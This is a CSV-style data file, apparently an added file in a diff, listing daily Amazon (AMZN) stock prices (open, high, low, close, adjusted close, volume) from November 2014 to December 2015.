+2014-11-05,303.010009765625,304.0,294.1600036621094,296.5199890136719,296.5199890136719,4674500,AMZN
+2014-11-06,296.69000244140625,297.0,292.2900085449219,296.6400146484375,296.6400146484375,3758100,AMZN
+2014-11-07,297.82000732421875,299.989990234375,296.2900085449219,299.8599853515625,299.8599853515625,2647400,AMZN
+2014-11-10,300.0,305.79998779296875,300.0,305.1099853515625,305.1099853515625,2809100,AMZN
+2014-11-11,305.94000244140625,312.3800048828125,303.6499938964844,312.010009765625,312.010009765625,3803600,AMZN
+2014-11-12,310.75,312.5799865722656,308.7900085449219,311.510009765625,311.510009765625,2183000,AMZN
+2014-11-13,312.0,317.8900146484375,311.510009765625,316.4800109863281,316.4800109863281,3686400,AMZN
+2014-11-14,317.1199951171875,332.8800048828125,316.3999938964844,327.82000732421875,327.82000732421875,8877800,AMZN
+2014-11-17,326.44000244140625,328.0,318.0299987792969,323.04998779296875,323.04998779296875,4784900,AMZN
+2014-11-18,323.989990234375,329.55999755859375,323.25,324.92999267578125,324.92999267578125,3549500,AMZN
+2014-11-19,327.25,328.3999938964844,324.0199890136719,326.5400085449219,326.5400085449219,3281600,AMZN
+2014-11-20,324.0,332.6700134277344,323.3299865722656,330.5400085449219,330.5400085449219,3436700,AMZN
+2014-11-21,335.4200134277344,338.3299865722656,331.4700012207031,332.6300048828125,332.6300048828125,4466600,AMZN
+2014-11-24,334.7799987792969,337.3900146484375,333.6000061035156,335.6400146484375,335.6400146484375,2754200,AMZN
+2014-11-25,335.2699890136719,336.3299865722656,331.2799987792969,335.0400085449219,335.0400085449219,2565000,AMZN
+2014-11-26,333.7799987792969,334.6499938964844,331.75,333.57000732421875,333.57000732421875,1983600,AMZN
+2014-11-28,336.0299987792969,341.260009765625,336.0299987792969,338.6400146484375,338.6400146484375,3051800,AMZN
+2014-12-01,338.1199951171875,340.6400146484375,325.92999267578125,326.0,326.0,4944900,AMZN
+2014-12-02,327.5,327.92999267578125,323.25,326.30999755859375,326.30999755859375,2790300,AMZN
+2014-12-03,325.7300109863281,326.7699890136719,314.3599853515625,316.5,316.5,5681000,AMZN
+2014-12-04,315.5299987792969,318.5899963378906,313.4700012207031,316.92999267578125,316.92999267578125,3290300,AMZN
+2014-12-05,316.79998779296875,316.92999267578125,310.8399963378906,312.6300048828125,312.6300048828125,3265200,AMZN
+2014-12-08,311.57000732421875,316.55999755859375,304.82000732421875,306.6400146484375,306.6400146484375,3639200,AMZN
+2014-12-09,302.989990234375,313.6400146484375,301.1400146484375,312.5,312.5,4049500,AMZN
+2014-12-10,312.0,313.19000244140625,304.67999267578125,305.8399963378906,305.8399963378906,3245900,AMZN
+2014-12-11,307.8900146484375,312.6400146484375,306.010009765625,307.3599853515625,307.3599853515625,3262900,AMZN
+2014-12-12,303.989990234375,310.6400146484375,303.010009765625,307.32000732421875,307.32000732421875,3153500,AMZN
+2014-12-15,308.8699951171875,310.8599853515625,302.1499938964844,306.07000732421875,306.07000732421875,3841600,AMZN
+2014-12-16,304.3500061035156,304.489990234375,295.010009765625,295.05999755859375,295.05999755859375,6501300,AMZN
+2014-12-17,296.3699951171875,299.6700134277344,293.0299987792969,298.8800048828125,298.8800048828125,4433500,AMZN
+2014-12-18,304.010009765625,304.5,293.25,297.7300109863281,297.7300109863281,7738100,AMZN
+2014-12-19,296.9100036621094,301.5400085449219,295.5199890136719,299.8999938964844,299.8999938964844,8709100,AMZN
+2014-12-22,301.94000244140625,307.3599853515625,301.94000244140625,306.5400085449219,306.5400085449219,4003800,AMZN
+2014-12-23,306.9800109863281,307.489990234375,303.25,306.2900085449219,306.2900085449219,2713700,AMZN
+2014-12-24,306.3800048828125,307.0,302.8800048828125,303.0299987792969,303.0299987792969,1513800,AMZN
+2014-12-26,305.0,310.7799987792969,303.80999755859375,309.0899963378906,309.0899963378906,2893800,AMZN
+2014-12-29,307.8500061035156,314.2699890136719,306.5799865722656,312.0400085449219,312.0400085449219,3009000,AMZN
+2014-12-30,309.9100036621094,313.94000244140625,309.3399963378906,310.29998779296875,310.29998779296875,2093000,AMZN
+2014-12-31,311.54998779296875,312.9800109863281,310.010009765625,310.3500061035156,310.3500061035156,2048000,AMZN
+2015-01-02,312.5799865722656,314.75,306.9599914550781,308.5199890136719,308.5199890136719,2783200,AMZN
+2015-01-05,307.010009765625,308.3800048828125,300.8500061035156,302.19000244140625,302.19000244140625,2774200,AMZN
+2015-01-06,302.239990234375,303.0,292.3800048828125,295.2900085449219,295.2900085449219,3519000,AMZN
+2015-01-07,297.5,301.2799987792969,295.3299865722656,298.4200134277344,298.4200134277344,2640300,AMZN
+2015-01-08,300.32000732421875,303.1400146484375,296.1099853515625,300.4599914550781,300.4599914550781,3088400,AMZN
+2015-01-09,301.4800109863281,302.8699951171875,296.67999267578125,296.92999267578125,296.92999267578125,2592400,AMZN
+2015-01-12,297.55999755859375,298.510009765625,289.2799987792969,291.4100036621094,291.4100036621094,3421400,AMZN
+2015-01-13,297.4800109863281,301.5,293.2300109863281,294.739990234375,294.739990234375,4136400,AMZN
+2015-01-14,291.92999267578125,295.9100036621094,286.5,293.2699890136719,293.2699890136719,5538700,AMZN
+2015-01-15,294.0,296.0,286.82000732421875,286.95001220703125,286.95001220703125,4419200,AMZN
+2015-01-16,286.2799987792969,290.7900085449219,285.25,290.739990234375,290.739990234375,3478200,AMZN
+2015-01-20,292.5899963378906,293.3599853515625,286.3900146484375,289.44000244140625,289.44000244140625,3075100,AMZN
+2015-01-21,289.6400146484375,306.0,287.260009765625,297.25,297.25,10065100,AMZN
+2015-01-22,300.0,312.25,300.0,310.32000732421875,310.32000732421875,5362600,AMZN
+2015-01-23,308.0799865722656,316.92999267578125,307.7200012207031,312.3900146484375,312.3900146484375,4496400,AMZN
+2015-01-26,311.82000732421875,313.0,307.5199890136719,309.6600036621094,309.6600036621094,3169700,AMZN
+2015-01-27,306.29998779296875,310.239990234375,302.6300048828125,306.75,306.75,2920300,AMZN
+2015-01-28,309.80999755859375,311.510009765625,303.79998779296875,303.9100036621094,303.9100036621094,3063800,AMZN
+2015-01-29,304.7300109863281,312.79998779296875,299.3299865722656,311.7799987792969,311.7799987792969,8656600,AMZN
+2015-01-30,346.32000732421875,359.5,340.739990234375,354.5299987792969,354.5299987792969,23856100,AMZN
+2015-02-02,350.04998779296875,365.0,350.010009765625,364.4700012207031,364.4700012207031,10231900,AMZN
+2015-02-03,360.2900085449219,367.82000732421875,360.2099914550781,363.54998779296875,363.54998779296875,6212600,AMZN
+2015-02-04,358.3800048828125,367.5,358.2300109863281,364.75,364.75,4169900,AMZN
+2015-02-05,366.0,378.79998779296875,365.8999938964844,373.8900146484375,373.8900146484375,7247600,AMZN
+2015-02-06,374.8699951171875,375.989990234375,371.010009765625,374.2799987792969,374.2799987792969,3892400,AMZN
+2015-02-09,371.0,374.4100036621094,367.20001220703125,370.55999755859375,370.55999755859375,2724600,AMZN
+2015-02-10,371.19000244140625,374.29998779296875,368.510009765625,373.0,373.0,2287200,AMZN
+2015-02-11,371.2300109863281,377.1000061035156,371.1000061035156,375.1400146484375,375.1400146484375,2786500,AMZN
+2015-02-12,375.1000061035156,378.510009765625,373.1499938964844,377.1700134277344,377.1700134277344,2791100,AMZN
+2015-02-13,378.4100036621094,383.0,377.010009765625,381.8299865722656,381.8299865722656,3475100,AMZN
+2015-02-17,377.7200012207031,379.989990234375,372.6700134277344,375.42999267578125,375.42999267578125,3673200,AMZN
+2015-02-18,373.7799987792969,376.739990234375,372.8500061035156,373.3699951171875,373.3699951171875,2650600,AMZN
+2015-02-19,373.489990234375,381.8800048828125,373.42999267578125,379.0,379.0,2953800,AMZN
+2015-02-20,378.6199951171875,383.70001220703125,375.8399963378906,383.6600036621094,383.6600036621094,3258000,AMZN
+2015-02-23,383.44000244140625,384.5400085449219,378.0,380.1400146484375,380.1400146484375,2177000,AMZN
+2015-02-24,378.6499938964844,380.4800109863281,376.1600036621094,378.5899963378906,378.5899963378906,1920800,AMZN
+2015-02-25,377.2699890136719,387.8500061035156,376.5400085449219,385.3699951171875,385.3699951171875,3174500,AMZN
+2015-02-26,384.07000732421875,389.3699951171875,383.2799987792969,384.79998779296875,384.79998779296875,2687100,AMZN
+2015-02-27,384.0,385.989990234375,379.7900085449219,380.1600036621094,380.1600036621094,2532300,AMZN
+2015-03-02,380.8500061035156,385.8999938964844,379.4800109863281,385.6600036621094,385.6600036621094,2139200,AMZN
+2015-03-03,383.95001220703125,386.1000061035156,381.6000061035156,384.6099853515625,384.6099853515625,1946500,AMZN
+2015-03-04,385.7099914550781,387.8999938964844,382.19000244140625,382.7200012207031,382.7200012207031,2259100,AMZN
+2015-03-05,385.6099853515625,388.4200134277344,383.8900146484375,387.8299865722656,387.8299865722656,2693500,AMZN
+2015-03-06,385.5199890136719,387.0,378.8800048828125,380.0899963378906,380.0899963378906,2627000,AMZN
+2015-03-09,378.3999938964844,379.3299865722656,375.2799987792969,378.55999755859375,378.55999755859375,2311400,AMZN
+2015-03-10,377.45001220703125,377.7699890136719,369.17999267578125,369.510009765625,369.510009765625,3121000,AMZN
+2015-03-11,370.6099853515625,373.3500061035156,366.260009765625,366.3699951171875,366.3699951171875,2495100,AMZN
+2015-03-12,368.82000732421875,375.5,367.5199890136719,374.239990234375,374.239990234375,2810000,AMZN
+2015-03-13,371.5199890136719,373.989990234375,366.67999267578125,370.5799865722656,370.5799865722656,2611700,AMZN
+2015-03-16,370.3800048828125,373.94000244140625,366.7200012207031,373.3500061035156,373.3500061035156,2354100,AMZN
+2015-03-17,371.1099853515625,374.5,369.6400146484375,371.9200134277344,371.9200134277344,2037000,AMZN
+2015-03-18,369.9700012207031,375.989990234375,366.70001220703125,375.1400146484375,375.1400146484375,2654100,AMZN
+2015-03-19,373.8699951171875,377.1099853515625,372.19000244140625,373.239990234375,373.239990234375,1915700,AMZN
+2015-03-20,376.2900085449219,379.3699951171875,375.9200134277344,378.489990234375,378.489990234375,3763600,AMZN
+2015-03-23,378.07000732421875,381.7699890136719,374.94000244140625,375.1099853515625,375.1099853515625,2239300,AMZN
+2015-03-24,373.989990234375,375.239990234375,372.2699890136719,374.0899963378906,374.0899963378906,2228200,AMZN
+2015-03-25,375.1700134277344,380.5,370.2900085449219,370.9599914550781,370.9599914550781,3429500,AMZN
+2015-03-26,369.5899963378906,371.3999938964844,365.6499938964844,367.3500061035156,367.3500061035156,2930000,AMZN
+2015-03-27,367.1099853515625,373.1700134277344,366.57000732421875,370.55999755859375,370.55999755859375,2609800,AMZN
+2015-03-30,371.8699951171875,376.1199951171875,371.54998779296875,374.5899963378906,374.5899963378906,1820900,AMZN
+2015-03-31,373.239990234375,377.70001220703125,371.510009765625,372.1000061035156,372.1000061035156,2506100,AMZN
+2015-04-01,372.1000061035156,373.1600036621094,368.3399963378906,370.260009765625,370.260009765625,2458100,AMZN
+2015-04-02,370.5,373.2799987792969,369.0,372.25,372.25,1875300,AMZN
+2015-04-06,370.1000061035156,380.20001220703125,369.3599853515625,377.0400085449219,377.0400085449219,3050700,AMZN
+2015-04-07,376.1499938964844,379.30999755859375,374.0299987792969,374.4100036621094,374.4100036621094,1954900,AMZN
+2015-04-08,374.6600036621094,381.5799865722656,374.6499938964844,381.20001220703125,381.20001220703125,2636400,AMZN
+2015-04-09,380.6600036621094,384.4200134277344,378.79998779296875,383.5400085449219,383.5400085449219,2392300,AMZN
+2015-04-10,384.30999755859375,387.1199951171875,381.32000732421875,382.6499938964844,382.6499938964844,2573500,AMZN
+2015-04-13,383.5299987792969,385.2799987792969,380.1400146484375,382.3599853515625,382.3599853515625,1894500,AMZN
+2015-04-14,383.510009765625,387.80999755859375,381.2099914550781,385.1099853515625,385.1099853515625,2583600,AMZN
+2015-04-15,384.6499938964844,385.7799987792969,381.6400146484375,383.45001220703125,383.45001220703125,1933200,AMZN
+2015-04-16,383.69000244140625,387.45001220703125,383.54998779296875,386.0400085449219,386.0400085449219,2080400,AMZN
+2015-04-17,382.6300048828125,383.55999755859375,374.3999938964844,375.55999755859375,375.55999755859375,3839700,AMZN
+2015-04-20,378.54998779296875,391.94000244140625,377.0,389.510009765625,389.510009765625,5016100,AMZN
+2015-04-21,391.30999755859375,394.6000061035156,386.79998779296875,391.17999267578125,391.17999267578125,4643500,AMZN
+2015-04-22,391.9100036621094,394.2799987792969,388.0,389.79998779296875,389.79998779296875,3474700,AMZN
+2015-04-23,390.2099914550781,391.8800048828125,386.1499938964844,389.989990234375,389.989990234375,7980000,AMZN
+2015-04-24,439.0,452.6499938964844,439.0,445.1000061035156,445.1000061035156,17176900,AMZN
+2015-04-27,443.8599853515625,446.989990234375,437.4100036621094,438.55999755859375,438.55999755859375,5430900,AMZN
+2015-04-28,438.510009765625,439.0,428.0400085449219,429.30999755859375,429.30999755859375,4140500,AMZN
+2015-04-29,426.75,434.239990234375,426.0299987792969,429.3699951171875,429.3699951171875,3621700,AMZN
+2015-04-30,427.1099853515625,431.75,419.239990234375,421.7799987792969,421.7799987792969,3647900,AMZN
+2015-05-01,423.82000732421875,425.6400146484375,416.0,422.8699951171875,422.8699951171875,3565800,AMZN
+2015-05-04,424.79998779296875,429.7699890136719,422.4200134277344,423.0400085449219,423.0400085449219,2270400,AMZN
+2015-05-05,422.8500061035156,427.510009765625,421.0199890136719,421.19000244140625,421.19000244140625,2856400,AMZN
+2015-05-06,421.42999267578125,422.7200012207031,414.54998779296875,419.1000061035156,419.1000061035156,2552500,AMZN
+2015-05-07,424.1499938964844,428.5,422.8500061035156,426.8800048828125,426.8800048828125,2766100,AMZN
+2015-05-08,430.75,435.20001220703125,430.1700134277344,433.69000244140625,433.69000244140625,2908800,AMZN
+2015-05-11,432.510009765625,439.0,431.3699951171875,432.8500061035156,432.8500061035156,2393700,AMZN
+2015-05-12,431.0799865722656,433.25,426.7099914550781,431.0199890136719,431.0199890136719,1947800,AMZN
+2015-05-13,429.9800109863281,433.5299987792969,425.79998779296875,426.8699951171875,426.8699951171875,1996300,AMZN
+2015-05-14,429.45001220703125,433.0,427.010009765625,432.2799987792969,432.2799987792969,1888500,AMZN
+2015-05-15,428.0,430.3999938964844,424.29998779296875,426.0,426.0,4240300,AMZN
+2015-05-18,426.0,427.2699890136719,421.4599914550781,425.239990234375,425.239990234375,2390200,AMZN
+2015-05-19,424.8699951171875,428.239990234375,420.6300048828125,421.7099914550781,421.7099914550781,2464200,AMZN
+2015-05-20,420.6000061035156,427.1000061035156,418.3599853515625,423.8599853515625,423.8599853515625,2196200,AMZN
+2015-05-21,428.0,436.8999938964844,428.0,431.6300048828125,431.6300048828125,4121400,AMZN
+2015-05-22,431.54998779296875,432.44000244140625,427.6099853515625,427.6300048828125,427.6300048828125,2020600,AMZN
+2015-05-26,426.20001220703125,427.0,422.0,425.4700012207031,425.4700012207031,2244200,AMZN
+2015-05-27,427.45001220703125,431.8500061035156,425.010009765625,431.4200134277344,431.4200134277344,2231100,AMZN
+2015-05-28,429.7099914550781,431.3500061035156,425.4700012207031,426.57000732421875,426.57000732421875,1912400,AMZN
+2015-05-29,427.2300109863281,432.5,427.2300109863281,429.2300109863281,429.2300109863281,3016100,AMZN
+2015-06-01,430.3999938964844,433.1600036621094,426.20001220703125,430.9200134277344,430.9200134277344,2253300,AMZN
+2015-06-02,430.07000732421875,433.2300109863281,426.25,430.989990234375,430.989990234375,1668900,AMZN
+2015-06-03,434.3999938964844,438.3900146484375,432.75,436.5899963378906,436.5899963378906,2727900,AMZN
+2015-06-04,434.3999938964844,436.760009765625,429.260009765625,430.7799987792969,430.7799987792969,2510800,AMZN
+2015-06-05,429.6600036621094,430.79998779296875,426.5,426.95001220703125,426.95001220703125,1907900,AMZN
+2015-06-08,425.6199951171875,426.79998779296875,421.42999267578125,423.5,423.5,2172500,AMZN
+2015-06-09,422.9599914550781,427.489990234375,419.1400146484375,425.4800109863281,425.4800109863281,2288700,AMZN
+2015-06-10,426.4599914550781,432.20001220703125,425.6600036621094,430.7699890136719,430.7699890136719,2172300,AMZN
+2015-06-11,432.2900085449219,438.8900146484375,431.4700012207031,432.9700012207031,432.9700012207031,2922500,AMZN
+2015-06-12,431.25,432.3599853515625,428.260009765625,429.9200134277344,429.9200134277344,2054400,AMZN
+2015-06-15,427.6600036621094,428.04998779296875,422.6400146484375,423.6700134277344,423.6700134277344,2051000,AMZN
+2015-06-16,424.1499938964844,427.9700012207031,422.6700134277344,427.260009765625,427.260009765625,2296400,AMZN
+2015-06-17,428.3599853515625,431.3500061035156,424.75,427.80999755859375,427.80999755859375,2185900,AMZN
+2015-06-18,430.29998779296875,439.7300109863281,429.4100036621094,439.3900146484375,439.3900146484375,3378400,AMZN
+2015-06-19,440.260009765625,444.989990234375,433.239990234375,434.9200134277344,434.9200134277344,4495100,AMZN
+2015-06-22,437.0,439.239990234375,434.17999267578125,436.2900085449219,436.2900085449219,1823600,AMZN
+2015-06-23,435.5899963378906,447.0400085449219,433.69000244140625,445.989990234375,445.989990234375,3245000,AMZN
+2015-06-24,444.9700012207031,446.4700012207031,440.2300109863281,440.8399963378906,440.8399963378906,2620800,AMZN
+2015-06-25,438.07000732421875,443.4700012207031,436.3900146484375,440.1000061035156,440.1000061035156,2237500,AMZN
+2015-06-26,441.760009765625,443.489990234375,435.05999755859375,438.1000061035156,438.1000061035156,2624500,AMZN
+2015-06-29,434.9800109863281,437.0,429.0,429.8599853515625,429.8599853515625,2753200,AMZN
+2015-06-30,434.20001220703125,435.57000732421875,430.4599914550781,434.0899963378906,434.0899963378906,2596900,AMZN
+2015-07-01,439.3500061035156,440.0,435.5799865722656,437.3900146484375,437.3900146484375,1987100,AMZN
+2015-07-02,437.0,438.20001220703125,433.4800109863281,437.7099914550781,437.7099914550781,1343400,AMZN
+2015-07-06,435.2300109863281,439.7300109863281,433.5199890136719,436.0400085449219,436.0400085449219,1903200,AMZN
+2015-07-07,435.67999267578125,437.7300109863281,425.57000732421875,436.7200012207031,436.7200012207031,3454200,AMZN
+2015-07-08,434.3500061035156,435.989990234375,428.8299865722656,429.70001220703125,429.70001220703125,2383100,AMZN
+2015-07-09,434.8999938964844,438.7200012207031,434.1499938964844,434.3900146484375,434.3900146484375,2271400,AMZN
+2015-07-10,440.489990234375,444.7200012207031,439.0,443.510009765625,443.510009765625,2401000,AMZN
+2015-07-13,448.2900085449219,457.8699951171875,447.5400085449219,455.57000732421875,455.57000732421875,3956800,AMZN
+2015-07-14,462.32000732421875,469.6000061035156,458.1600036621094,465.57000732421875,465.57000732421875,4736200,AMZN
+2015-07-15,463.0400085449219,464.70001220703125,460.20001220703125,461.19000244140625,461.19000244140625,2987400,AMZN
+2015-07-16,465.5,475.8800048828125,464.79998779296875,475.4800109863281,475.4800109863281,4095600,AMZN
+2015-07-17,477.70001220703125,485.4200134277344,477.25,483.010009765625,483.010009765625,4932200,AMZN
+2015-07-20,492.57000732421875,493.20001220703125,485.3999938964844,488.1000061035156,488.1000061035156,4752500,AMZN
+2015-07-21,487.8999938964844,488.8800048828125,482.54998779296875,488.0,488.0,3181800,AMZN
+2015-07-22,485.989990234375,492.5,484.8999938964844,488.2699890136719,488.2699890136719,3114900,AMZN
+2015-07-23,491.6600036621094,491.6600036621094,475.70001220703125,482.17999267578125,482.17999267578125,9374400,AMZN
+2015-07-24,578.989990234375,580.5700073242188,529.3499755859375,529.4199829101562,529.4199829101562,21909400,AMZN
+2015-07-27,527.75,544.9500122070312,526.5999755859375,531.4099731445312,531.4099731445312,7491000,AMZN
+2015-07-28,536.0,536.3900146484375,523.1199951171875,526.030029296875,526.030029296875,5273100,AMZN
+2015-07-29,530.9199829101562,532.969970703125,525.02001953125,529.0,529.0,3752600,AMZN
+2015-07-30,527.6500244140625,539.2000122070312,524.2899780273438,536.760009765625,536.760009765625,3743100,AMZN
+2015-07-31,539.0900268554688,542.8400268554688,534.52001953125,536.1500244140625,536.1500244140625,3025600,AMZN
+2015-08-03,537.4500122070312,540.4400024414062,529.3599853515625,535.030029296875,535.030029296875,3014200,AMZN
+2015-08-04,529.6900024414062,536.9500122070312,529.1599731445312,531.9000244140625,531.9000244140625,2934600,AMZN
+2015-08-05,538.7999877929688,539.1400146484375,534.1199951171875,537.010009765625,537.010009765625,2889400,AMZN
+2015-08-06,539.2999877929688,542.739990234375,527.52001953125,529.4600219726562,529.4600219726562,3820500,AMZN
+2015-08-07,529.1599731445312,529.4600219726562,518.2100219726562,522.6199951171875,522.6199951171875,3969200,AMZN
+2015-08-10,528.52001953125,532.280029296875,523.0,524.0,524.0,2615900,AMZN
+2015-08-11,523.6500244140625,528.97998046875,522.0,527.4600219726562,527.4600219726562,2676600,AMZN
+2015-08-12,523.75,527.5,513.0599975585938,525.9099731445312,525.9099731445312,3962300,AMZN
+2015-08-13,527.3699951171875,534.6599731445312,525.489990234375,529.6599731445312,529.6599731445312,2895200,AMZN
+2015-08-14,528.25,534.1099853515625,528.25,531.52001953125,531.52001953125,1994800,AMZN
+2015-08-17,531.2899780273438,538.739990234375,527.1199951171875,535.219970703125,535.219970703125,2581700,AMZN
+2015-08-18,535.0399780273438,539.489990234375,533.0,535.02001953125,535.02001953125,2071300,AMZN
+2015-08-19,533.739990234375,537.25,529.0,532.9199829101562,532.9199829101562,2324000,AMZN
+2015-08-20,530.3900146484375,533.25,515.77001953125,515.780029296875,515.780029296875,4408000,AMZN
+2015-08-21,507.3599853515625,512.3300170898438,494.4700012207031,494.4700012207031,494.4700012207031,6706500,AMZN
+2015-08-24,463.5799865722656,476.5799865722656,451.0,463.3699951171875,463.3699951171875,10097600,AMZN
+2015-08-25,487.489990234375,489.44000244140625,466.25,466.3699951171875,466.3699951171875,5679300,AMZN
+2015-08-26,484.0199890136719,503.7200012207031,478.760009765625,500.7699890136719,500.7699890136719,6358600,AMZN
+2015-08-27,513.7100219726562,522.6900024414062,507.260009765625,518.3699951171875,518.3699951171875,6114500,AMZN
+2015-08-28,517.5,521.5,513.0399780273438,518.010009765625,518.010009765625,2746700,AMZN
+2015-08-31,516.4400024414062,519.4099731445312,509.07000732421875,512.8900146484375,512.8900146484375,3002300,AMZN
+2015-09-01,499.1400146484375,510.0,493.42999267578125,496.5400085449219,496.5400085449219,3864500,AMZN
+2015-09-02,505.0899963378906,510.8599853515625,497.7200012207031,510.54998779296875,510.54998779296875,3707100,AMZN
+2015-09-03,514.5,515.8400268554688,502.57000732421875,504.7200012207031,504.7200012207031,3149700,AMZN
+2015-09-04,497.6499938964844,502.8500061035156,495.6400146484375,499.0,499.0,2692500,AMZN
+2015-09-08,508.69000244140625,518.3499755859375,508.510009765625,517.5399780273438,517.5399780273438,3810700,AMZN
+2015-09-09,524.0,529.9500122070312,515.0599975585938,516.8900146484375,516.8900146484375,4370700,AMZN
+2015-09-10,515.1500244140625,526.1300048828125,514.780029296875,522.239990234375,522.239990234375,2576000,AMZN
+2015-09-11,521.0700073242188,529.4400024414062,520.6099853515625,529.4400024414062,529.4400024414062,3227900,AMZN
+2015-09-14,529.4400024414062,532.4500122070312,518.5800170898438,521.3800048828125,521.3800048828125,3130200,AMZN
+2015-09-15,523.25,527.9199829101562,517.2000122070312,522.3699951171875,522.3699951171875,2865900,AMZN
+2015-09-16,521.97998046875,528.2999877929688,518.52001953125,527.3900146484375,527.3900146484375,2252800,AMZN
+2015-09-17,526.97998046875,546.969970703125,526.5700073242188,538.8699951171875,538.8699951171875,4169500,AMZN
+2015-09-18,534.6199951171875,546.239990234375,531.3499755859375,540.260009765625,540.260009765625,6160100,AMZN
+2015-09-21,544.3300170898438,549.780029296875,539.5900268554688,548.3900146484375,548.3900146484375,3283300,AMZN
+2015-09-22,539.7100219726562,543.5499877929688,532.6599731445312,538.4000244140625,538.4000244140625,3841700,AMZN
+2015-09-23,538.2999877929688,541.2100219726562,534.0,536.0700073242188,536.0700073242188,2237600,AMZN
+2015-09-24,530.5499877929688,534.5599975585938,522.8699951171875,533.75,533.75,3501000,AMZN
+2015-09-25,542.5700073242188,542.7999877929688,521.4000244140625,524.25,524.25,4031000,AMZN
+2015-09-28,520.02001953125,520.280029296875,494.3299865722656,504.05999755859375,504.05999755859375,5434500,AMZN
+2015-09-29,506.0,511.4800109863281,490.5,496.07000732421875,496.07000732421875,4457500,AMZN
+2015-09-30,505.44000244140625,512.7999877929688,501.6700134277344,511.8900146484375,511.8900146484375,4004700,AMZN
+2015-10-01,511.0,520.7999877929688,506.0,520.719970703125,520.719970703125,3768500,AMZN
+2015-10-02,512.989990234375,532.5999755859375,508.1000061035156,532.5399780273438,532.5399780273438,4597800,AMZN
+2015-10-05,536.989990234375,545.9099731445312,536.0,543.6799926757812,543.6799926757812,3391400,AMZN
+2015-10-06,545.5,551.5,533.3300170898438,537.47998046875,537.47998046875,4502800,AMZN
+2015-10-07,541.7899780273438,542.0,529.0,541.9400024414062,541.9400024414062,3812100,AMZN
+2015-10-08,536.7100219726562,539.3900146484375,519.8900146484375,533.1599731445312,533.1599731445312,4676400,AMZN
+2015-10-09,534.47998046875,541.7899780273438,530.27001953125,539.7999877929688,539.7999877929688,3537400,AMZN
+2015-10-12,539.9600219726562,550.8200073242188,539.7999877929688,550.1900024414062,550.1900024414062,2776100,AMZN
+2015-10-13,546.260009765625,553.2000122070312,543.0999755859375,548.9000244140625,548.9000244140625,2938000,AMZN
+2015-10-14,551.3400268554688,552.25,539.6799926757812,544.8300170898438,544.8300170898438,3582100,AMZN
+2015-10-15,547.75,563.0,547.0,562.4400024414062,562.4400024414062,4937000,AMZN
+2015-10-16,565.27001953125,570.9400024414062,560.3099975585938,570.760009765625,570.760009765625,4315800,AMZN
+2015-10-19,570.760009765625,579.0,567.3800048828125,573.1500244140625,573.1500244140625,4375400,AMZN
+2015-10-20,572.0,573.0,555.280029296875,560.8800048828125,560.8800048828125,4346200,AMZN
+2015-10-21,563.8699951171875,565.25,552.52001953125,555.77001953125,555.77001953125,3343600,AMZN
+2015-10-22,562.7000122070312,569.1500244140625,556.6699829101562,563.9099731445312,563.9099731445312,7779400,AMZN
+2015-10-23,617.6799926757812,619.4500122070312,595.3599853515625,599.030029296875,599.030029296875,10692700,AMZN
+2015-10-26,602.2999877929688,609.8499755859375,596.2899780273438,608.6099853515625,608.6099853515625,4269700,AMZN
+2015-10-27,608.5999755859375,614.7100219726562,605.530029296875,611.010009765625,611.010009765625,3787100,AMZN
+2015-10-28,612.2999877929688,617.22998046875,609.5,617.0999755859375,617.0999755859375,3926200,AMZN
+2015-10-29,617.7000122070312,627.5399780273438,615.3900146484375,626.5499877929688,626.5499877929688,3896000,AMZN
+2015-10-30,626.010009765625,630.719970703125,625.280029296875,625.9000244140625,625.9000244140625,3874400,AMZN
+2015-11-02,627.1300048828125,628.6300048828125,620.4099731445312,628.3499755859375,628.3499755859375,2816500,AMZN
+2015-11-03,629.530029296875,629.8900146484375,622.0,625.3099975585938,625.3099975585938,3246900,AMZN
+2015-11-04,627.760009765625,645.9299926757812,627.3499755859375,640.9500122070312,640.9500122070312,4840500,AMZN
+2015-11-05,647.0999755859375,657.0,643.0900268554688,655.6500244140625,655.6500244140625,4723800,AMZN
+2015-11-06,655.0,662.260009765625,652.0,659.3699951171875,659.3699951171875,4092200,AMZN
+2015-11-09,658.6500244140625,661.9600219726562,647.8499755859375,655.489990234375,655.489990234375,4048800,AMZN
+2015-11-10,651.010009765625,660.0,647.260009765625,659.6799926757812,659.6799926757812,3489500,AMZN
+2015-11-11,663.25,675.9600219726562,663.25,673.25,673.25,5387300,AMZN
+2015-11-12,673.0,675.6400146484375,664.219970703125,665.5999755859375,665.5999755859375,4284700,AMZN
+2015-11-13,663.5700073242188,667.0,640.4500122070312,642.3499755859375,642.3499755859375,6261100,AMZN
+2015-11-16,640.9199829101562,649.989990234375,622.2899780273438,647.8099975585938,647.8099975585938,7435900,AMZN
+2015-11-17,650.6500244140625,653.25,641.0,643.2999877929688,643.2999877929688,4320200,AMZN
+2015-11-18,646.510009765625,664.8800048828125,646.3699951171875,663.5399780273438,663.5399780273438,4469800,AMZN
+2015-11-19,664.989990234375,672.8599853515625,659.0,661.27001953125,661.27001953125,4705200,AMZN
+2015-11-20,667.9400024414062,668.8699951171875,657.5700073242188,668.4500122070312,668.4500122070312,3896100,AMZN
+2015-11-23,671.5,682.77001953125,670.1199951171875,678.989990234375,678.989990234375,4385100,AMZN
+2015-11-24,674.1400146484375,675.7999877929688,661.2100219726562,671.1500244140625,671.1500244140625,4543400,AMZN
+2015-11-25,675.0,679.7000122070312,671.239990234375,675.3400268554688,675.3400268554688,2697900,AMZN
+2015-11-27,680.7999877929688,680.989990234375,672.0999755859375,673.260009765625,673.260009765625,1966800,AMZN
+2015-11-30,675.9000244140625,681.2899780273438,664.5999755859375,664.7999877929688,664.7999877929688,5693200,AMZN
+2015-12-01,673.75,681.0,667.8599853515625,679.0599975585938,679.0599975585938,4751200,AMZN
+2015-12-02,681.0,684.8200073242188,674.25,676.010009765625,676.010009765625,4273500,AMZN
+2015-12-03,679.4400024414062,682.7899780273438,661.47998046875,666.25,666.25,5064700,AMZN
+2015-12-04,666.0,674.780029296875,661.4000244140625,672.6400146484375,672.6400146484375,4534800,AMZN
+2015-12-07,674.739990234375,675.4600219726562,660.5,669.8300170898438,669.8300170898438,3732800,AMZN
+2015-12-08,663.1300048828125,679.989990234375,659.7899780273438,677.3300170898438,677.3300170898438,3651900,AMZN
+2015-12-09,678.0,679.0,655.6799926757812,664.7899780273438,664.7899780273438,5158200,AMZN
+2015-12-10,665.5900268554688,668.530029296875,659.5599975585938,662.3200073242188,662.3200073242188,3455500,AMZN
+2015-12-11,651.22998046875,657.8800048828125,639.6199951171875,640.1500244140625,640.1500244140625,5474400,AMZN
+2015-12-14,641.75,658.5900268554688,635.27001953125,657.9099731445312,657.9099731445312,4329700,AMZN
